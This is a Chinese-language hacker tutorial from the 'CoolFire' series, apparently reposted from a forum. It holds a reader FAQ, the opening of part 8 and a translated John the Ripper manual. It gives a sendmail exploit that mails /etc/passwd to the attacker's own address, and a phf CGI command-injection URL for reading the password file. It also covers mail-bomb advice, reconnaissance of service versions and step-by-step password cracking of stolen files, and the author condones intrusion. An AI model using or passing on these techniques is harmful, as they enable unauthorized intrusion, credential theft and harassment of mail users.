HTTP/1.0 404 Object Not Found . 中国网管论坛 bbs.bitsCN.com

What has happend?

[A5]

那一阵子由於我的 ISP 这边传输的状况并不是很好, 所以有很多人可能连上来的时候找不到东西了, 这个问题也一直困扰我很久, 但是也是没有办法真正的彻底解决, 所以如果有这种状况的话, 请大家写信通知我一下, 如果是迁移到其它的 Web 站去, 或是暂时停止服务的话, 我们也会在上面作一些说明, 不会有让大家找不到的情况发生的!

[Q6]

Sorry to bother you again,because I thought the "John the Ripper". can help me

find out the register code which I want;however,can you hepl me to find out

the register code for the software "Xing MPEG Player 32-Bit 3012 Trial",which

I down loaded from .....

[A6]

居然有人会来找我问软体注册码的问题, 我可没有办法回答, 这不是我的专业, 当然破解站台也不是我的专业, 所以如果有此类的问题的话, 请各位到 alt.hacker 论坛去发问, 或是在国内找找其它提供注册码的站台, 我没有办法帮你耶....:(

[Q7]

你知道吗?news 上俞煌男有写一个程式是 sendmail 收到 password to you know?你是否也

有同样的 program?and letmein 2.0 不知进展如何?

[A7]

呵呵~~ Know How 是不是?? 其实要看他写出来的东西是针对哪个 Sendmail 版本啦, 像很多版本的 Sendmail 都有被人家抓出一些 Bug 出来, 那也要看这个 Bug 的危险性到甚么程度,一般这些东西都会有人整理出来, 但是如果 Mail Server 使用的刚好不是 Bug 有列出来的话, 你可能也没有办法了吧?? 我举一个很久以前在 Bugtraq 上面看到的 sendmail bug 来作说明好了, 这个 Bug 的版本我忘了, 好像是 sendmail 5.6 的吧(很久了), 现在不晓得还有没有人在用这个版本, 如果有的话, 就算他倒霉好了! 是这样的, 这个版本的 Sendmail 可以让人执行一些指令, 所以我们可以利用这个漏洞把 passwd 档寄给自己, 而连到 smtp 就可以控制 sendmail 来发信了!

```
telnet xxx.xxx.xxx 25
helo MyDear
mail from: "|/bin/mail me@myhost </etc/passwd"
rcpt to: me@myhost
data
this is a test mail
.
```

像这样就可以让这台主机把他自己的 /etc/passwd 寄给我了, 但是也要看他有没有提供

网管联盟 www.bitsCN.com

mail 这支程式, 有没有放在 /bin 目录, 像这目录也是很重要的, 有的例子我举出来像 cgi hole 我是举例他放在 /cgi-bin 目录, 但有些人的目录名称是 /cgi 或 /bin 或 /exe 就没有人会变通, 一直写信来问我, 为甚么照这个指令没有办法抓到... 等等, 很难讲啦, 谁晓得他们目录命名的方式,都是随人家高兴的嘛~~

不过像你所讲的, 把这种 Bug 写成程式来抓 passwd 档, 那是不是要针对很多版本的 sendmail 都要有判断? 再针对每个版本送出不同的指令? 如果真的可以写出来这样的程式的话, 那一定是很不错, 不过这应该还只是一个理想吧?? 俞兄如果有写好的, 请寄送一份给小弟, 我倒想看看程式可以强到甚么程度. 还有, 并不是每个 sendmail Bug 都是连上 smtp 就可以作了, 有些还要写一些小程式 (Scripts) 才跑才有用, 也就是说你必需要有一个 login 到该 server 的帐号才行.... 所以..... 难说啦!

[Q8]

I already download avalanche v2.8 mail bomber,but I can't send it! When I start send the bomb massage,why always receive 553 error ot other error? 网管网 bitsCN_com can you help me how to seng it!

[A8]

有些 MailBomb 我并没有实际的测试过, 因为种类实在太多了, 现在好像越来越多人喜欢写这种程式, 如果你有类似的问题, 可以到我们首页上的留言版发问, 相信有用过的网友会提供你一些设定上的建议, 让你的程式能够正常的运作.

[Q9]

Hi, I read your hack homepage, it's very good. Do you know any BBS or sites about system security & hacking? They are always underground, I can't find them.Thanks alot.

[A9]

目前中文的 Hack Homepage 大多都是关於软体注册码的网站, 有些网站现在也会提供一些关於破解主机方面的资讯, 我们将在首页上建立一些网页的连结点, 让网友们可以到其它的网站上看看其它的破解资讯, 如果你有建立一个相关的网页的话, 请写信给我, 我会将你的网页加入我们站上的连结. 至於 bbs 的话, 各大专院校的 bbs 应该都有 Hacker 区的讨论, 目前国内以交大资工的 Hacker 区资料最为丰富, 你有空也可以上去看看. bbs.cis.nctu.edu.tw

[Q10] 中国网管联盟 www_bitscn_com

很冒昧的打扰你，小弟拜读你的大作中 coolhk2 时，便实地的操练了一下，当小弟在浏览器中下达：

http://xxxxxx/cgi-bin/nph-test-cgi?*

後，诚如你所说的一份报表出来如下：

CGI/1.0 test script report:

argc is 1. argv is *.

SERVER_SOFTWARE = Apache/1.0.0

SERVER_NAME = auto.nypi.edu.tw

GATEWAY_INTERFACE = CGI/1.1

SERVER_PROTOCOL = HTTP/1.0

SERVER_PORT = 80

REQUEST_METHOD = GET

HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,*/*

PATH_INFO =

PATH_TRANSLATED =

SCRIPT_NAME = /cgi-bin/nph-test-cgi

QUERY_STRING = 2 Count.cgi acc acc.c archie calendar count date discuss doit.cgi dopost.c

finger fortune guestmsg guestmsg.c imagemap jj move.pl nph-count nph-test-cgi phf post-query

post.c query ranking re.c repost.c repost.c.bak test-cgi test-cgi.tcl uptime vote.pl wais.pl

REMOTE_HOST = 140.130.1.218

REMOTE_ADDR = 140.130.1.218

REMOTE_USER =

CONTENT_TYPE =

CONTENT_LENGTH =

但是当小弟再接著输入：

http://xxxxxxxx/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd

可是却没有 passwd 出现，仅出现如下：

Ⅰ.

Server Error

The server encountered an internal error or misconfiguration and

was unable to complete your request.

Please contact the server administrator, allen@auto.nypi.edu.tw and

inform them of the time the error occurred, and anything you might have

done that may have caused the error.

Ⅱ.

Query Results

/usr/local/bin/ph -m alias=x less /etc/passwd

上面的 Ⅰ及Ⅱ 是小弟分别在不同的站所试出的结果，请问一下为什么会如

此呢，是不是小弟指令下错了或者是该站的软体已经把 bug 给 patch 过了

，谢谢你！

[A10]

正如你所说, 可能这个站台已经把他们的 httpd Patch 过了, 所以没有办法拿到, 也不

一定要用 less 指令, 也可以用 more, cat 等指令来试看看, 你上面所下的指令应该都
feedom.net

正确才对,如果真是已经 Patch 过了的话, 就只好试试看系统有没有其它的漏洞罗.

这个漏洞主要是系统所提供的 phf 的 bug, 有些主机在 test-cgi 的 Report 上的 Query

String 那一行没有 phf, 也就表示这台主机没有提供 phf 这个 cgi 让你使用, 也就没

有办法用这个方式来取得 passwd 档了.

[Q11]

1. Can you tell me how to find the KOS file by YAHOO.The best of idle is tell

me the FTP site.Thank you. :)

2.我给您发完信后，想从您的首页上拉个 CJACK14 下来，发现上面好象没有耶 我点取了

那个名字，可是报告说没有这个文件。 (~~~~~~~~~~~~~不会是没有吧

[A11]

你现在已经可以在 ftp.cads.com.tw/pub/security 中拿到这个档, 这是由网友 Robin

所提供的 ftp, 站台上许多程式都可以在这里抓到. 如果你在我们站台上抓不下来, 请到

这里试试, 如果你想在 Yahoo 上找的话, 寻找 globalkos 这个关键字, 可以顺便连到

国外的站台看看他们摆了哪些东西, 亦可顺便学点东西喔~~

[Q12]

Can you tell me how to check infomation of host? How to know the FTP server

and MAIL server?

[A12]

对, 有很多网友来信询问如何破解某某站台, 如何破解.... 都没有顺便说明一下你们想

破解的系统是属於哪种系统, 先教大家看一下系统名称, 你只要 telnet 进入, 当 Unix

提示符号出现的时候, 用 uname -svrmn 就可以看到了, 各选项代表的意义如下说明:

-s: Show System Name, -v: Show Operating Version, -r: Reveals The Software Release Level

-m: Identifies The Machine Hardware For You -n:The node name of the computer is revealed

另外再来说明一下如何看 Sendmail 版本, 我们只要连到 Port 25 就可以看到了, 如:

telnet ms1.xxxxxxxxx.xxx.tw 25

220 ms1.xxxxxxxxx.xxx.tw Sendmail 5.65v3.2 (1.1.8.2/30May97-0801PM) Fri, 6 Jun 1

997 11:38:23 +0800

至於 ftp 呢? 你只要连上 ftp 就应该会在画面上看到他的版本名称了, 如:

C:\WINDOWS>ftp ftp.xxxxxxxxx.xxx.tw

Connected to ftp.xxxxxxxxx.xxx.tw.

220-Serv-U FTP-Server v2.2 for WinSock ready...

220-Welcome to xxxxxxxxxxxx xxx Ftp Server(ftp.xxxxxxxxx.xxx.tw). feedom.net

220-From xxx.xx.xxx.xx

[Q13]

请问你能否告诉我如何制造 mail bomb,因为最近老是收到广告信或者有的没有的,实在很讨厌.

[A13]

首页上有一堆 Mail Bomb 的程式, 你需要的只是把他们抓下来, 然後在电脑上跑就行了, 当然里面也都有说明档之类的文件. 在收到广告信件的时候, 请不要一昧的回信, 因为有些发 MailList 的人, 对系统的运作并不 解, 有时可能是利用在帐号目录设 .foward 的方式来发信的, 而信件中的 Reply to: 栏位填的也是该帐号, 当遇到这种情况的时候,

你所发的信会让所有在这个 MailList 的人都收到, 如果所有的收件人都回这封信的话,

那你的信箱一定就爆烂了! 所以要先冷静的分析一下这封信的发法, 会不会伤害到别人,

再决定要怎么办, 千万别乱炸!~ MailBomb 也会害到自己的, 切记~

[Q14]

您好! 我是 XXXXXXXXXXXXXXXXX!! 对於您写的 TXT2DIC 有一点问题! 为什么所建的密

码档 PASSDICT 不会增加! 只是每增加一次字典，PASSDICT 会随著不同!

[A14]

TXT2DIC 的产生方式会覆盖掉旧有的档案, 所以请在使用的时候使用不同的档案名称, 中国网管论坛 bbs.bitsCN.com

目前最新的 TXT2DIC V1.2 也还没有使用 File Append 的方式, 所以仍然会将旧档案覆

盖, 若你不想覆盖旧档, 请使用不同的档名来进行转换! 否则程式将不会给你任何的警

告就把档案盖下去了!

[Q15]

在网路闲逛时发现 FETAG Software's Hacking Page 像发现宝一样的下载了 Coolhc#1-6，

在以前电影、小说所描述的骇客情节，以为只有在外国才有的事，想不到在台湾已有人

在这片领域默默的耕耘，虽然我不是很聪明但还是很有兴趣的想出点力。拜读你的大作

似乎有点意犹未尽，想请教你什么时候再出第七集，坊间有什么中文的入门书可参考的

。还有想当一个骇客族会不会很难。

[A15]

谢谢你的鼓励, 7 跟 6 之间的确是隔了很久, 且这一篇也没有讲到甚么东西, 有点对不

起大家的等待了. 若想要学入侵, 希望各位能多看一看 Unix 方面的书, 先将 Unix 的指令读熟, 最基本的当然就是 Shell 指令, 再来就是学著写一些简单的 Shell Script, 若没有馀力自己找系统的漏洞, 又想要破解站台, 建议要多看看一些系统安全的 Mail List, (好多老话重谈), 这一篇就针对 Mail List 的部份, 有简单的介绍, 让大家对这

些系统安全的 Mail List 有些 解, 进而多吸收一些知识.

[Q16]

我想请问一下，我是用 Browser 抓/etc/passwd 的， 面 root 的密码是被编过码的吗？我用 Crack Jack 1.4 解码。但是好像不行，到底要用什么解才对，一下用 Crack Jack,一下又用 Brute，我都看不懂，还有就是 UltraEdit 是什么？Pass2Dic 有用吗？还有我用 NetTerm 4.1 版 for win31 可是 ftp or sendmail 好像都进不去，是什么原因呢？另外就是我用 CuteFtp 1.8 版，Login 设 anonymous or Double，ID 和 passwd 都空白，但是为什么就可以进 Ftp，然後用 NetTerm 却进不去？还有 KOS(1.?M)的不会用。

[A16]

好多问题喔~ 我一一的简短回答:[1]要看 Passwd 是否是编码过的, 在 CoolHC#1 中就有说明, 我没有亲眼看到 passwd 档, 没有办法回答. [2]CrackJack 跟 Brute 都是功能相同的程式, CrackJack 速度比较快, 请你先看一下 CoolHC1~6 之後再发问, 因为有很多东西都是写过的了! [3]UltraEdit??? 文书编辑程式, 我用它来写 Home Page [4]Pass2Dic 在 CJack 上已经有选项了, 但是在 Brute 之类的成式上就用得到. [5]ftp 有提供匿名

登入, 但是在 Telnet 没有, 所以无法登入. [6] KOS 的用法也写过了!

[Q17]

when i use txt2dic.exe , i can't use it first, when i go into the third step

it show " incorrect dos version....done!" secondly, when i gp into the fourth

step , it show" have some error on code-62 "what's wrong ?

[A17]

第一个问题, 在第三步骤发生 Incorrect dos version, 你用的是 1.0 版, 所以需要呼

叫到 dos 的 sort 程式, 请使用 1.2 版 (For Win32 only) 就不会有此状况了! 二,你

发生 Error 62 的状况, 这在上一次的 FAQ 中也有讲过了, 请去翻一翻就 解了! 不过

这个状况也在 1.2 版改进了, 所以建议还是用新的版本, 就不会有这种状况发生了!

[Q18]

When I get a passwd file which is shadowed....Please tell me how to do....

[A18]

如果我跟你讲, 无解呢?? 有些 shadow 过的档, 只要你有办法抓到另外一个 shadow 档

是有办法解开的, 但是单要使用 shadow 过的档, 我不相信有人能够解开~ 所以还是要抓

到另一个来 "配对" 才有用! 至於如何抓到 shadow? 很多人都有这样的问题, 那就要看

系统 "提供" 的漏洞多不多了, 不然它 shadow 也就没有意义罗!

[Q19]

First of all, I'd like to give you some feedbacks about your page.

I'm not in Vancouver. I always encounter the slow transfer rate with many

Taiwanese sites. I only got 30 bytes/sec with your site. I don't know the

reason... Anyway, you are the first Chinese hacking page I've ever seen.

I like that. I just want to learn more. Could yu give me some Chinese hacking

pages' addresses? I will be glad to visit them. By the way, I'm not interseted

in emailbombs, because they hurt others. But I'm interested in defensing and

cracking emailbombs. I hope you can update your page oftenly. Thanks a lot!

[A19]

谢谢你, 我们会尽量的更新我们的网页, 至於其它中文的类似站台??? 呜... 你们在哪

里呀?? 快点现身吧!! 如果大家有找到新的类似站台的话, 寄得赶快写信来告诉我呦~ 网管网 bitsCN.com

[Q20]

请问我 ISP 的 OS 是 SunOS5.4，我用贵站上的方法不好用了，用贵站关于 shadow 的 link 上提

到的也不成了，要如何取得其 shadow 过的 passwd 呢？请赐教，多谢！

[A20]

喔~~ 对了！刚才忘了讲, 如果各位已经试过几个 Port, 解自己系统的版本编号, 使用

的 Sendmail 版本, ftp 版本等的话, 你们可以到 http://underground.org 去看看, 点

选左边那个 Bugs, 然後选一下你所知道的系统, 他会列出一些目前所知的 Bugs 出来, 然

候你就可以依样画葫芦啦, 不过那些讯息都是英文的啦~~

-*-

**** 後语 ****

我作这份东西的动机是 "兴趣", 入侵到他人的主机是属於非法的行为? 但是我并没有作任何的破坏动作, 纯粹就是 "好玩", 当然也因此突显出许多站台的安全性问题, 所以这份文章也就有点"教育"这些破站台的意味存在. 有许多的网友对 CoolFire 充满了信心, 寄了许多站台的网址来 "求破", 呵.. 我只能看看, 不能够将每天的心力都投注在上面, feedom.net

网友们也许比较有时间吧!! 大家可以一起到 Hacker 论坛讨论讨论.

** 不要 Crack 这个首页的 ISP!!!! 否则 FETAG Sofeware's Hacking Page 将会完全关闭, 再也不寻找其它的地方来放置, 希望给你的是使用电脑的 "知识", 不要利用它来夺取任何的"权利", 本首页著重的是教育, 而不是一 的教导攻击的方法, 希望大家对於政府机关(org.tw) 或教育机构 (edu.tw) 不要作任何的破坏!! 还有我的 ISP.:D

谢谢大家的支持~

最近有网友写信来骂我了! 说好要更新首页都食言, 下次我不再预告任何事了, 我只是学微软的作法嘛~~ 哈哈! 没有啦! 真的是太忙了, 忙著.... 赚钱, 所以兴趣先摆一边, 请各位见谅罗!如果有人有写类似这样的文章, 请寄给我一份, 我会将它放到首页上的~~~:)

再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,

不主张你随便入侵他人主机.... (高-Net 还是除外)... 请勿将这类技术使用於破坏上

(又... 如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持), 中国网管联盟 www_bitscn_com

最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴

力了!
【转自 www.bitsCN.com】

coolfire 黑客入门教程系列之（八）

这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人 Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!

有些人可能已经很习惯这样的教学方式, 也习惯了我写 CoolHC 的语气, 用词. 但是有很多网友可能会因为我的用词而看不懂, 我已经尽量白话一点了, 如果有看不懂的, 多看几次应该就会 解了吧? 或把以前的文章拿出来再翻一翻, 也许看了第二次之後所得到的感想, 又是完全不一样的呢?! 首页上的网友交流版是一个不错的交流方式, 在 CoolHC 没有写的这段时间大家可以在上面聊一聊自己的破解心得, 这样我也可以少写一些 FAQ, 当然在上面有经验的网友们也可以分享一下你们的经验, 让一些新手快点进入状况, 不会再问一些怪问题~ !!! 请不要寄些密码档, 或者是寄个网路位址来求破, 我们并不提供这样的服务, 我说过了, 作这份文件主要是兴趣, 如果还有人这样的骚扰我们, 我们将会停止这份文 件的写作及外流. 另外因为最近收到的来信实在太多, 我们不打算再以 Mail 回答 了, 在 CoolHC#8 问世之後, 我将不会再回答任何人来信所问的任何关於系统破解 的问题, 该给各位的所有资讯都会放在网页上, 如果网友们有任何的问题请在网友 交流版中询问及寻求解答. 有几个喜欢发信问软体破解的请注意, 你的行迳亦已引 起许多软体 Cracker 的不满, 一次寄发的信件就 cc: 给许多人, 请不要再作这种 损人不利己的事了!!! (发一下牢骚, 跳过去吧!) 请各位在 ICQ 上也不要再要求我在线上教你甚 , 如果真的要在线上教, 那是教不 完的, 还是写文章来得实际一点吧? **** 关於网友交流版 **** 原先所打算的是开启一个 MailList 来进行网路入侵及系统安全的交流, 但是由於我并没有太多的时间来维护, 而且最近收到的许多信件也显示了许多网友的网路使用方式有很大的差异(有人会发信, 问些怪问题), 所以这个计画目前就暂时延缓了, 为了让大家还是有交流的机会, 两个月前在首页上特别开辟了一处网友交流版, 这个交流版最主要的定位跟其它网站的留言版不同, 我们希望大家有问题的时候能够在上面讨论, 并且让新手可以学习到一些我在 CoolHC 中没有提到, 或者是资料不够详细的资讯. 网友交流版开版至今, 尚未得到我们所预期的效果, 但是也吸引了许多新手到交流版上发问. 我们希望有经验的老手们能够不吝啬的在交流版上跟新手讨论你们的问题, 并且也把你们所遇到的挫折或经验跟其它网友们分享. 这才是我们开放这个交流版真正的目的. 希望这个目标很快就能够达到. 交流版上也希望能够聚集多方的资讯, 如果你也有个破解入侵的首页, 我们希望你也能够在首页上加入这个交流版的连结, 这样才能够使这个交流版的资讯更多; 更丰富. 如果你希望在你的首页上加入网友交流版的连结, 请将下列指令加入你的 HTML 文件: 填写交流板 阅读交流板 当然你也可以参照 guestbk.htm 来编辑一个属於你自己首页的交流板填写的表格. **** 关於本站档案 Mirror Site **** 有许多网友常常来信有甚 档案抓不到的问题, 这些问题我以後也不会再答覆了, 以後若有相同的问题, 请至 Mirror 站台抓取, 或是知道档名直接用 Archie 系统找寻再使用 FTP 来抓档, 如果以後有档案抓不到的问题, 请来信 "通知", 请不要写信来"骂人" 许多网友认为自己花钱上网, 就该得到想要的资料, 那我们呢? 可是在花钱, 花心思, 花精力的在服务大家, 并未收取任何的费用呢! 目前首页的连结点有三处 (WWW): 主站: http://fetag.company.com.tw/ (感谢 艾利克科技 提供) 台北: http://www.showtower.com.tw/~fetag (索夫特) 台中: http://www.ab.net.tw/~fetag (感谢 大世纪全球资讯网 提供) 大陆: http://www.nease.net/~fetag (感谢网友 comc 提供, 并协助 GB 转

码) 动态: http://hut.stanford.edu/dips/fetag (工作室主机-DIP) 特别说明: 动态 WWW 主机为工作室的主机, 使用 WebSite 架设, 因为是属於拨接型态的上线方 式, IP 为动态分配, 以 DynamIP 来进行动态 IP 的调整, 连线者必需要在我的主机 已上线的状况下才能进行连结. 如果连结後出现: DIPS: Error We are sorry, the server fetag is not currently connected to the network. The last time we saw this site was on Sun Oct 19 09:28:04 1997. dips@bigfoot.com 表示弟的工作站并未连接到网路上, 所以无法连接, 但若你的 WWW Browser 有设定 Proxy Server 的话, 有可能这项资料是上一位使用者连接时的 Cache, 所以请按一 下 Browser 的 ReLoad 键, 还是这个画面的话就确定无法连接了! 如果有下载後的档案无法解开, 或发生 CRC 错误, 请来信通知更正. 日後若有其它档案或首页映射, 会在工作室首页中公告, 请勿再来信询问.
网管网 bitsCN_com

John the Ripper v1.4 中文说明

中译: James Lin (fetag@ms1.showtower.com.tw) 许多的工具程式, 在告诉大家要去哪里抓, 要如何使用之後, 还是陆陆续续会有很多人写信来问一些原本说明档就有说明的问题, 所以, 把说明档翻出来让大家看看, 也许这种情况就会少很多了吧?? 在以前的 CoolHC 中为大家介绍过了 John 这套密码的破解工具, 但是内容并不是很详细, 有很多的网友也只能使用它部分的功能, 以为这就是 John?? 其实 John 还有许多的功能可以介绍, 这一次, 就把 John 拿出来, 跟大家作一个完整的讨论, 使大家在使用的时候, 可以更方便, 也希望大家能够以 John 取得更多的密码! 其中有些部分我直接翻译 John 的文件档内容, 有些部分我会补充一下在说明档中没有出现的范例画面, 并作一些说明, 所以这一篇可能会稍为长一点, 因为 John 本身所提供的说明档原来就已经很大了 (作者花了蛮多的心思在写说明喔, 有没有看呀?). 虽然底下的词句我已经尽量的白话, 但是有些地方因为是英文直接翻过来, 中文的意思反而没有英文的单字还要有解释那个词句来得贴切, 所以尽量就保持原样了! 在翻译这篇文章的同时我的背景还开了三个 DOS 的视窗来跑 John, 这种多功的好处也是我向大家强力推 密码解密时该使用 John the Ripper 的原因! 终於完成了... 呼呼.. 下次这 累的事情不要再找我了, 快把英文学好吧!!!
网管网 bitsCN.com

什么是 John the Ripper?

John the Ripper 是一个 UNIX 密码破解工具程式, 可以使用的作业系统环境有 UNIX (在 Linux x86, FreeBSD x86, Solaris 2.x SPARC, OSF/1 Alpha 都测试过了), DOS, WinNT/Win95. 当然, 在你使用 John 之前, 最好已经使用过其它的 UNIX 密码破解工具, 这样你才可以很容易的 解 John 的运作方式与操作方法!

1.3 版的新增功能

MD5 编码的密码档案解码支援; (以前的解码都是只针对 DES) - SPARC V8 组合语言版本; - 修正了许多前版的 Bugs. (以前的版本有那 多的 Bug 吗??)

概观

作者把 John 尽量设计成强大, 而且快速的破解工具. 在同一个程式里面包含了几种的破解方式, 而且你可以完全的依照你的需求来自订 John 破解的方式(我觉得这点很强, 甚至可以用内建的 C Script 来自定不同个案的破解方式, 容後说明). 而且 John 也可以在不同的系统平台上使用, 让你可以在不同的电脑上破解密码, 在范例中的接续破解, 可以让你在破解中断之後, 在不同的作业平台上接下去破解. John 的 crypt() 函式在快速作业的模式之下进行了最佳化, 这可以让 John 在破解的时候跑得比其它的破解工具快, 这个函式同时套用了组合语言及可转平台式 C 语言两个语言所写出来的程式码. John 支援了以下几种的破解方式: - 有规则及不规则的字典档破解模式; - "Single Crack", 用最简单的资讯来进行破解的工作, 速度最快. - 增强破解模式(我们称暴力法), 尝试所有可能的字元组合; - 外部破解模式, 让你可以定义你的破解模式. 中国网管联盟 www_bitscn_com

如何安装

John 所提供的是压缩过的程式, 你需要建一个目录, 然後把这些档案都拷贝到那个目录底下, 然後将你需要的档案解压缩(当然你必需要有解缩的程式).在你使用这个压缩档以前你可能须要先下达一个 'chmod +x john' 指令. 如果你要 Compile 原始程式的话, 只要进入你解压这些档案的目录, 然後在系统提示符号下输入 'make', 你就会在萤幕上看到一份系统支援的列表. 选择你所使用的系即可. 如果你的系统没有在该列表上, 就请你输入 'make generic'. 请你确定你使用的是 GCC 且 GNU make (也许你得输入包含路径的执行指令, 例如 '/bin/make',如果你的系统没有设定路径的话).

如何使用

作者已经尽量把 John 的操作方式设计得跟 Cracker Jack 相同, 所以如果你先前曾经使用过 Crack Jack, 应该很快的就能够使用 John. 总之, 有很多 Cracker Jack 的功能, 都可以在 John 上面延用, 操作方法也是相同的. 要使用 John the Ripper, 你必需要有一些密码档, 破解好的密码将会显示在萤幕上, 并且会储存在一个叫作 ~/john.pot 的档案中 ('~' 所代表的是 John 的相同目录, 也就是你放置 John 的目录).这个档案还有另一个功能, 就是让 John 不要重覆跑你已经破解过的帐号, 如果你使用 John 再跑一次曾经跑过的密码档, 相同的帐号不会再跑过一次, 如果你想要看你已经破解过的密码, 你可以使用 '-show' 这个功能. 在破解的时候, 你可以按下 Enter 来观看目前破解的状态,或是按下 Ctrl+C 来中断目前的破解工作, 这样程式会自动将目前破解到的位置, 储存在一个档案之中 (~/restore 为内定的档名), 另外, 如果你是按了两下 Ctrl+C 来中断的话, John 就会直接中断而不会将目前破解进度储存了. 这个破解进度档每十分钟也会自动的储存, 以必免你的机器在破解中当机而功亏一溃. (这是个不错的设计, 当然 Jack 里也有这项功能) 命令列的功能选项 ---------- 你可以在执行 John 的命令列後加上下面这些选项 (所有的选项都不须区分大小写): -pwfile:<档名>[,..] 指定密码档档名 (可以使用万用字元) 这个选项用来指定你所要破解的密码档 (通常在命令列上要使用的档案名称, 不能够使用以 '-'这个字作为开头的档案名称, 因为 '-'已经被用来当作命令列的辨识字元了). -wordfile:<档名> -stdin 字典档破解模式, 由字典档读取来破解, 或是 stdin 这个选项用来开启 John 为字典档破解模式. -rules 打开规则式字典档破解模式 开启规则式 (就像使用 Alec Muffett 的方式破解). 至於规则的定义就是使用放在 ~/john.ini 中 [List.Rules:Wordlist] 所定义的规则. -incremental[:] 增强模式

[使用 john.ini 中定义的模式] 开启增强模式, 使用你在 ~/john.ini 中所定义的模式来破解 (在 [Incremental:] 段落中你可以自行定义, 就是在这里你所要指定的 名称, [Incremental:All] 为内定). 这一段可以让你指定很多不同的方式, 我们会在後面再说明. -single Single Crack 模式 开启 "Single Crack" 模式, 使用你在 [List.Rules:Single] 中所定义的规则. -external: 外部破解模式, 使用你在 john.ini 定义的 开启外部破解模式, 将会自动启用你在 ~/john.ini 的 [List.External:] 段中所定义的自订破解功能. -restore[:<档名>] 回复上一次的破解工作 [经由 <档名>] 继续上次中断的破解工作, 由特定的档案 (通常是 ~/resotre) 读取上一次破解的时候中断的位置, 然後接下去破解. 这可用在中断破解之後的接续破解. -makechars:<档名> 制作字元表, 你所指定的档名若存在会被覆写 产生一个内含字元表的档案, 他会以 ~/john.pot (找到的密码) 为基础来产生. 这个产生出来的档案你可以用在增强破解模式上. 除非你指定了其它的密码档, 不然系统将会自动抓~/john.pot 内容来产生字元表. 你也可以同时使用 filter() 函式来进行过滤. -show 显示已破解的密码 显示已经破解完成的密码. 你必需同时指令你要显示的密码档是哪一个才行. -test 执行速度测试 这个功能可以用来测试你所使用的电脑的破解速度, 它会显示一个速度的比较表来告诉你你的电脑在不同的环境 (要破解的帐号多寡) 所产生的不同效率, 让你可以作好最佳的调整. 在你不熟悉的密码档破解的时候:xform1() 跟 xform2() 是真实的编码函式, 它呼叫了每一个 key/salt (一对一对的呼叫), 当你每个字呼叫 setkey(), 表示说 xform1() 或 xform2() (要看你是用哪一种破解模式才能决定是哪一个) 在足够的 salts 载入之後, 是唯一会被影响到破解速度的函式,总而言之, setkey() 可以决定你在使用这个程式的时候的速度, 当你使用的是以 MD5 编码的密码档, md5crypt() 就会取代所有的其它函式. -users:[,..] 只破解这一个使用者(或群组) 让你能够过滤只破解某些特定的人, 你也可以用在 '-show' 这个功能. (通常你会只找 root, 但是我建议你能够找 uid =0 的人, 因为 uid=0 也就表示他具有 root 同等的权限) -shells:[!][,..] 只针对某些使用你指定的 shell(s) 的使用者破解 这个选项可以用在 破解/显示 使用的是你所指定的 shell 的帐号, 或者是不要显示/ 破解这些帐号(也就是说可以用来过滤) 在 Shell 名称前加上 '!' 就表示 Not 了. 你可以在的 Shell 名称之前指定绝对路径, 或者也可以不指定, 当然'-shells:csh'就会包含'/bin/csh'跟'/usr/bin/csh' ,如果你指定的是 '-shells:/bin/csh' 将只会包含 '/bin/csh' 这个 Shell 名称. -salts:[!] 只破解 salts 大於 的帐号 这个功能通常使用在让你得到最高的系统效能来破解密码上. 如同范例, 你可以只破解某些的 salts 使用'-salts:2'这个选项, 会使你的系统运作快一点, 然後再破解 rest 使用 '-salts:!2' 这个选项 (配合著使用). 总共需要的破解时间大约是相同的, 不过你得到已破解帐号的速度会快一些, 而且系统不需要休息. -lamesalts 设定 salts 中密码所使用的 cleartext 当你不知道你在作甚 的时候, 不要使用这个选项. -timeout: 设定最长的破解时间 分钟 当你设定的时间到达时, John 将会自动中断目前的破解工作. -list 列出每一个字 在标准输出设备上 (通常是萤幕) 列出已经破解出的每一个字(密码). 这个功能可以用在检查你的自订破解模式是否正确的完成. -beep -quiet 当发现密码 是/否 要发出声响 你可以在 ~/john.ini 中指定你所要的预设值. -noname -nohash 不要使用记忆体来储存 login name 跟其它的资料 在你没有足够的记忆体来跑 John 的时候, 你可能需要这个选项. '-noname' 不能使用在 "Single Crack" 模式之下. 因为 Login name 必须在此模式下使用! -des -md5 强制使用 DES 或 MD5 模式 这个选项让你自行决定密码加密的方式(不用自动判断). 你要注意的是 John 并不能在同一个破解工作中同时跑两种不同的密码加密方式, 如果你的密码档是两种的, 你就要分开来跑! 附加的工具程式 ---------- 你也许会使用到 John 所附的一些工具程式: xtract [source] [>] 由文字档中取出字典档, 让你可以把字典档使用在破解上. 重覆的字不会自动的移除, 你须要再使用 'sort -u' 来作输出 (这里的指令是用在 UNIX 上的). unshadow [>] 组合 passwd 跟 shadow 档案 (当你已经得到这两个档的时候) 让真正的密码档得以

还原, 这样你就可以在 John 上面使用了. 你也许会需要这个功能, 如果你只有 shadow 过的密码档案, GECOS 资讯不能在 "Single Crack" 模式下使用, 而且也不能够使用 '-shells' 这个选项的功能.
54com.cn

破解的模式

